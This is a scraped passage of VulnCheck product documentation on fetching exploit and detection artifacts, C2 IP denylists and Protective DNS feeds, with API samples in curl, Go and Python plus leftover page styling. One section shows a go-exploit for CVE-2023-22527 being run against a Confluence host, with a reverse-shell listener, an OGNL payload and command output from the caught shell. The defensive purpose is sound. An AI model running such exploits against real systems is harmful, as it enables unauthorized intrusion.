help organizations defend against weaponized exploits for those vulnerabilities. VulnCheck Initial Access Intelligence provides these detection artifacts in timely manner, to help organizations author detections and defend themselves, during the unclear times of recent disclosures.,{id:1075,title:1076,titles:1077,content:1078,level:174},/products/initial-access-intelligence/fetch-artifacts#generate-ssh-keys,Generate SSH Keys,119,Learn how to generate VulnCheck SSH Keys for accessing VulnCheck Detection Artifacts.,{id:1080,title:1081,titles:1082,content:1083,level:174},/products/initial-access-intelligence/fetch-artifacts#using-git,Using Git,119,After setting up your SSH keys in the VulnCheck web portal and activating your paid subscription license to VulnCheck Initial Access Intelligence, simply leverage git clone, to get the latest detection artifacts available. git clone git@git.vulncheck.com:vulncheck/initial-access.git,{id:1085,title:1086,titles:1087,content:1088,level:174},/products/initial-access-intelligence/fetch-artifacts#using-the-backup-file,Using the Backup File,119,The Initial Access Git repository is also available as an unencrypted or encrypted backup file. The encrypted variants password is vulncheck. Offline BackupDescriptioninitial-access-gitInitial Access Git repository is an offline backupinitial-access-git-encryptedInitial Access Git repository is an offline password-protected backup To request a specific offline backup, simply call /v3/backup/:index as follows (initial-access-git shown below): curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/initial-access-git \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \initial-access-git\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\initial-access-git\)\n\n    print(api_response.data0.url)\nvulncheck backup download initial-access-git,{id:1090,title:1091,titles:1092,content:1093,level:174},/products/initial-access-intelligence/fetch-artifacts#accessing-suricata-and-snort-rules,Accessing Suricata and Snort Rules,119,VulnCheck offers API endpoints for quick and easy access to the Suricata and Snort rules. The following endpoints contain one rule on each line: https://api.vulncheck.com/v3/rules/initial-access/suricatahttps://api.vulncheck.com/v3/rules/initial-access/snort For example, to fetch the Suricata rules, call /v3/rules/initial-access/suricata as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/rules/initial-access/suricata \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.RulesInitialAccessTypeGet(auth, \suricata\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    fmt.Printf(\%+v\, resp)\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.rules_initial_access_type_get(\suricata\)\n\n    print(api_response) html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:125,title:124,titles:1095,content:1096,level:528},,Use Docker to compile and run the VulnCheck provided go-exploit scanner VulnChecks Initial Access Intelligence product provides organizations with dockerized in-house developed exploits and network scanners, packet captures (PCAP files), Suricata & Snort signatures to detect exploitation, YARA rules (when possible), CPE strings, Nmap scripts, vulnerable docker files, mapping to GreyNoise tags, and measuring Internet-level exposure of potentially vulnerable systems using Censys & Shodan. VulnCheck packages these detection artifacts for organizations to detect & respond. VulnChecks exploit proof of concept (PoC) and network scanner code is written in the Go programming language. They are provided with a Dockerfile for ease of use. The exploits leverage an Open Source Software (OSS) shared library, which VulnCheck has authored and maintains, called go-exploit. The following example shows compilation and use of a go-exploit for CVE-2023-22527: user@vc:/initial-access/feed/cve-2023-22527$ make docker\nuser@vc:/initial-access/feed/cve-2023-22527$ docker run -it --networkhost cve-2023-22527 -v -c -e -rhost 10.9.49.88 -rport 8090 -lhost 10.9.49.85 -lport 1270\ntime2024-02-22T18:05:27.675Z levelSTATUS msg\Starting listener on 10.9.49.85:1270\\ntime2024-02-22T18:05:27.675Z levelSTATUS msg\Starting target\ index0 host10.9.49.88 port8090 sslfalse \ssl auto\false\ntime2024-02-22T18:05:27.675Z levelSTATUS msg\Validating Confluence target\ host10.9.49.88 port8090\ntime2024-02-22T18:05:28.018Z levelSUCCESS msg\Target verification succeeded!\ host10.9.49.88 port8090 verifiedtrue\ntime2024-02-22T18:05:28.018Z levelSTATUS msg\Running a version check on the remote target\ host10.9.49.88 port8090\ntime2024-02-22T18:05:28.202Z levelVERSION msg\The self-reported version is: 8.5.3\ host10.9.49.88 port8090 version8.5.3\ntime2024-02-22T18:05:28.202Z levelSUCCESS msg\The target appears to be a vulnerable version!\ host10.9.49.88 port8090 vulnerableyes\ntime2024-02-22T18:05:28.202Z levelSTATUS msg\Sending OGNL expression size limit adjustment to http://10.9.49.88:8090/template/aui/text-inline.vm\\ntime2024-02-22T18:05:28.384Z levelSTATUS msg\Sending class EzrKbvJgvWl to http://10.9.49.88:8090/template/aui/text-inline.vm\\ntime2024-02-22T18:05:28.421Z levelSUCCESS msg\Caught new shell from 10.9.49.88:42562\\ntime2024-02-22T18:05:28.421Z levelSTATUS msg\Active shell from 10.9.49.88:42562\\ntime2024-02-22T18:05:38.390Z levelSTATUS msg\Exploit successfully completed\ exploitedtrue\nwhoami\nconfluence\nid\nuid2002(confluence) gid2002(confluence) groups2002(confluence),0(root),{id:130,title:129,titles:1098,content:1099,level:528},,To request coverage of a specific Initial Access Vulnerability, simply contact VulnCheck support. VulnChecks Initial Access Intelligence product provides organizations with in-house developed exploit PoCs, packet captures (PCAP files), Suricata & Snort signatures to detect exploitation, YARA rules (when possible), CPE strings, version scanners, mapping to GreyNoise tags, and measuring Internet-level exposure of potentially vulnerable systems using Censys & Shodan. VulnCheck packages these detection artifacts for organizations to detect & respond. If there are CVEs that would be helpful for your organization to cover, where in-depth analysis & detection artifacts would be helpful, please reach out to VulnCheck.,{id:135,title:134,titles:1101,content:139,level:528},,{id:1103,title:1104,titles:1105,content:724,level:174},/products/ip-intelligence#detection-types,Detection Types,134,{id:1107,title:1108,titles:1109,content:1110,level:542},/products/ip-intelligence#command-control-c2-and-other-attacker-infrastructure,Command & Control (C2) and Other Attacker Infrastructure,134,1104,VulnCheck fingerprints dozens of Command and Control (C2) attacker infrastructure types, including Havoc, Sliver, Meterpreter, etc. VulnCheck leverages these fingerprints alongside existing Internet infrastructure mapping technologies (like Shodan or Censys) as well as VulnCheck developed scanners, to maintain a list of known bad IP addresses. VulnChecks C2 denylists, which maintain an index of live Command and Control (C2) infrastructure, may be easily imported into commercial TIPs and threat intelligence workflows, to immediately begin denylisting communications with known C2 infrastructure.,{id:1112,title:1113,titles:1114,content:1115,level:542},/products/ip-intelligence#vulnerable-and-potentially-vulnerable-systems,Vulnerable (and Potentially Vulnerable) Systems,134,1104,For vulnerabilities VulnCheck has developed detection artifacts for, VulnCheck measures their potential exposure on the open Internet. VulnCheck leverages both publicly available systems for measuring exposure (e.g., Shodan) as well as VulnCheck scan infrastructure tailored to the vulnerability. For example, in the case of PaperCut, VulnCheck would measure the exposure using Shodan search queries that may uniquely identify potentially vulnerable systems. Whereas in the case of the Cisco IOS XE vulnerability, VulnCheck would measure the exposure using VulnCheck authored scanners focused on detecting already-compromised implanted devices.,{id:1117,title:1118,titles:1119,content:1120,level:542},/products/ip-intelligence#honeypots,Honeypots,134,1104,The plethora of honeypots on the Internet can make counts of potentially vulnerable systems misleading. VulnCheck IP Intelligence provides tracking of honeypots on the Internet, so that when we report on potentially vulnerable systems, we do not include counts of honeypots. Additionally, real-time and historic tracking of honeypot detections are available via API.,{id:142,title:141,titles:1122,content:139,level:528},,{id:1124,title:1125,titles:1126,content:1127,level:174},/products/ip-intelligence/ip-search#api-query-parameters,API Query Parameters,141,VulnCheck IP Intelligence makes it easy to query our IP data set with a number of API query parameters, useful for filtering the results. Supported API query parameters are as follows: Query ParameterDescriptionasnFilter based on ASN: e.g., \AS719\cidrFilter based on IP address or range: e.g., \165.227.231.125\countryFilter based on country_code: e.g., \Australia\country_codeFilter based on country_code: e.g., \AU\hostnameFilter based on keyword or FQDN: e.g., \google\ or \amazonaws.com\idFilter based on supported detection types: e.g., \c2\, \honeypot\, or \initial-access\,{id:1129,title:1130,titles:1131,content:1132,level:174},/products/ip-intelligence/ip-search#example-api-queries,Example API Queries,141,VulnCheck IP Intelligence supports a wide range of use cases.,{id:1134,title:1135,titles:1136,content:1137,level:542},/products/ip-intelligence/ip-search#c2-detections-in-sweden,C2 Detections in Sweden,141,1130,By combining two of the API query parameters (Country and ID) we can quickly zoom in one Command & Control (C2) detections in a given geography -- in this case, Sweden. curl --request GET \\\n    --url https://api.vulncheck.com/v3/index/ipintel-3d?idc2&countrySweden \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.IndicesAPI.IndexIpintel3dGet(auth).Country(\Sweden\).Id(\c2\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    indices_client  vulncheck_sdk.IndicesApi(api_client)\n\n    api_response  indices_client.index_ipintel3d_get(id\c2\, country\Sweden\)\n\n    print(api_response)\nvulncheck index browse ipintel-3d --id c2 --country Sweden,{id:1139,title:1140,titles:1141,content:1142,level:174},/products/ip-intelligence/ip-search#offline-backups-available,Offline Backups Available,141,Offline BackupDescriptionipintel-3dIP Intelligence detections for the past 3 daysipintel-10dIP Intelligence detections for the past 10 daysipintel-30dIP Intelligence detections for the past 30 daysipintel-90dIP Intelligence detections for the past 90 days To request a specific offline backup, simply call /v3/backup/:index as follows (ipintel-3d shown below): curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/ipintel-3d \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \ipintel-3d\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\ipintel-3d\)\n\n    print(api_response.data0.url)\nvulncheck backup download ipintel-3d html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:146,title:145,titles:1144,content:1145,level:528},,VulnCheck IP Intelligence includes a Tags API endpoint that returns a list of IP addresses associated with a given tag or filter. VulnCheck IP Intelligence includes a Tags API that makes our C2 data easily consumable by third-party controls, such as Next-Generation Firewalls, which support External Blocklists (EBL) or Dynamic Blocklists (DBL).,{id:1147,title:1148,titles:1149,content:1150,level:174},/products/ip-intelligence/firewall-denylist#supported-ip-intelligence-tags,Supported IP Intelligence Tags,145,Below is a list of currently supported IP Intelligence tags: Tag NameDynamic Tag URLvulncheck-c2https://api.vulncheck.com/v3/tags/vulncheck-c2,{id:1152,title:1153,titles:1154,content:1155,level:542},/products/ip-intelligence/firewall-denylist#example-request-for-c2-ip-addresses-newline-separated,Example Request for C2 IP Addresses (Newline-Separated),145,1148,curl --request GET \\\n    --url https://api.vulncheck.com/v3/tags/vulncheck-c2 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.TagsVulncheckC2Get(auth).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    fmt.Printf(\%+v\, resp)\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.tags_vulncheck_c2_get()\n\n    print(api_response)\nvulncheck tag vulncheck-c2,{id:1157,title:1158,titles:1159,content:1160,level:542},/products/ip-intelligence/firewall-denylist#response,Response,145,1148,1.11.114.146\n1.12.36.221\n1.12.44.34\n1.12.56.98\n1.12.58.65\n1.12.181.224\n1.12.221.241\n1.12.228.16\n1.12.230.223\n1.12.253.64\n...,{id:1162,title:1163,titles:1164,content:1165,level:542},/products/ip-intelligence/firewall-denylist#example-request-for-c2-ip-addresses-json,Example Request for C2 IP Addresses (JSON),145,1148,curl --request GET \\\n    --url https://api.vulncheck.com/v3/tags/vulncheck-c2?formatjson \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \fmt\\n    \io\\n    \net/http\\n)\n\nfunc main() {\n    request, _ : http.NewRequest(\GET\, \https://api.vulncheck.com/v3/tags/vulncheck-c2?formatjson\, nil)\n    request.Header.Set(\Accept\, \application/json\)\n    request.Header.Set(\Authorization\, \Bearer insert_token_here\)\n\n    response, _ : http.DefaultClient.Do(request)\n    defer response.Body.Close()\n    bodyBytes, _ : io.ReadAll(response.Body)\n    fmt.Println(string(bodyBytes))\n}\nimport requests\nurl  \https://api.vulncheck.com/v3/tags/vulncheck-c2?formatjson\\nheaders  {\n    \accept\: \application/json\\n}\ncookies  {\n    \token\: \insert_token_here\\n}\n\nresponse  requests.get(url, headersheaders, cookiescookies)\nprint(response.json())\nvulncheck tag vulncheck-c2 --json html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:151,title:150,titles:1167,content:1168,level:528},,VulnCheck IP Intelligence includes a Protective DNS API endpoint that returns a list of hostnames associated with a given tag or filter. VulnChecks IP Intelligence Protective DNS (PDNS) API may be used to in a variety of ways, including in Protective DNS services that leverage third-party denylists (like VulnCheck) to block Command and Control (C2) and attacker infrastructure.,{id:1170,title:1153,titles:1171,content:1172,level:542},/products/ip-intelligence/protective-dns#example-request-for-c2-ip-addresses-newline-separated,150,curl --request GET \\\n    --url https://api.vulncheck.com/v3/pdns/vulncheck-c2 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.PdnsVulncheckC2Get(auth).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    fmt.Printf(\%+v\, resp)\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.pdns_vulncheck_c2_get()\n\n    print(api_response)\nvulncheck tag vulncheck-c2,{id:1174,title:1158,titles:1175,content:1176,level:542},/products/ip-intelligence/protective-dns#response,150,0-64-187-224-133.quickpacket.com\n014198194219.ctinets.com\n014199160130.ctinets.com\n019-128-100-005.ip-addr.inexio.net\n020116.vps-10.com\n037008238050.gubin.vectranet.pl\n056.168.151.89.chtts.ru\n058177115124.ctinets.com\n058177167198.ctinets.com\n058177174111.ctinets.com\n...,{id:1178,title:1163,titles:1179,content:1180,level:542},/products/ip-intelligence/protective-dns#example-request-for-c2-ip-addresses-json,150,curl --request GET \\\n    --url https://api.vulncheck.com/v3/pdns/vulncheck-c2?formatjson \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \fmt\\n    \io\\n    \net/http\\n)\n\nfunc main() {\n    request, _ : http.NewRequest(\GET\, \https://api.vulncheck.com/v3/pdns/vulncheck-c2?formatjson\, nil)\n    request.Header.Set(\Accept\, \application/json\)\n    request.Header.Set(\Authorization\, \Bearer insert_token_here\)\n\n    response, _ : http.DefaultClient.Do(request)\n    defer response.Body.Close()\n    bodyBytes, _ : io.ReadAll(response.Body)\n    fmt.Println(string(bodyBytes))\n}\nimport requests\nurl  \https://api.vulncheck.com/v3/pdns/vulncheck-c2?formatjson\\nheaders  {\n    \accept\: \application/json\\n}\ncookies  {\n    \token\: \insert_token_here\\n}\n\nresponse  requests.get(url, headersheaders, cookiescookies)\nprint(response.json())\nvulncheck tag vulncheck-c2 --json html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: 